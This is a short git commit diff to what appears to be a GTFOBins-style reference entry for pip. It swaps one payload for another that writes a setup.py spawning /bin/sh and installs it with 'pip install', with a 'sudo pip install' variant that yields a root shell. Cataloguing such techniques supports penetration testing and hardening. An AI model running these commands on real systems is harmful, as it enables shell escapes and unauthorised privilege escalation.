Fix pip to work in both Linux and macOS

This commit is contained in:
Andrea Cardaci 2018-09-27 12:58:29 +02:00
parent 3c59b1c2fc
commit 0db7fe5f32

View File

@ -5,11 +5,11 @@ functions:
execute-interactive:
- code: |
TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF
sudo-enabled:
- code: |
TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
---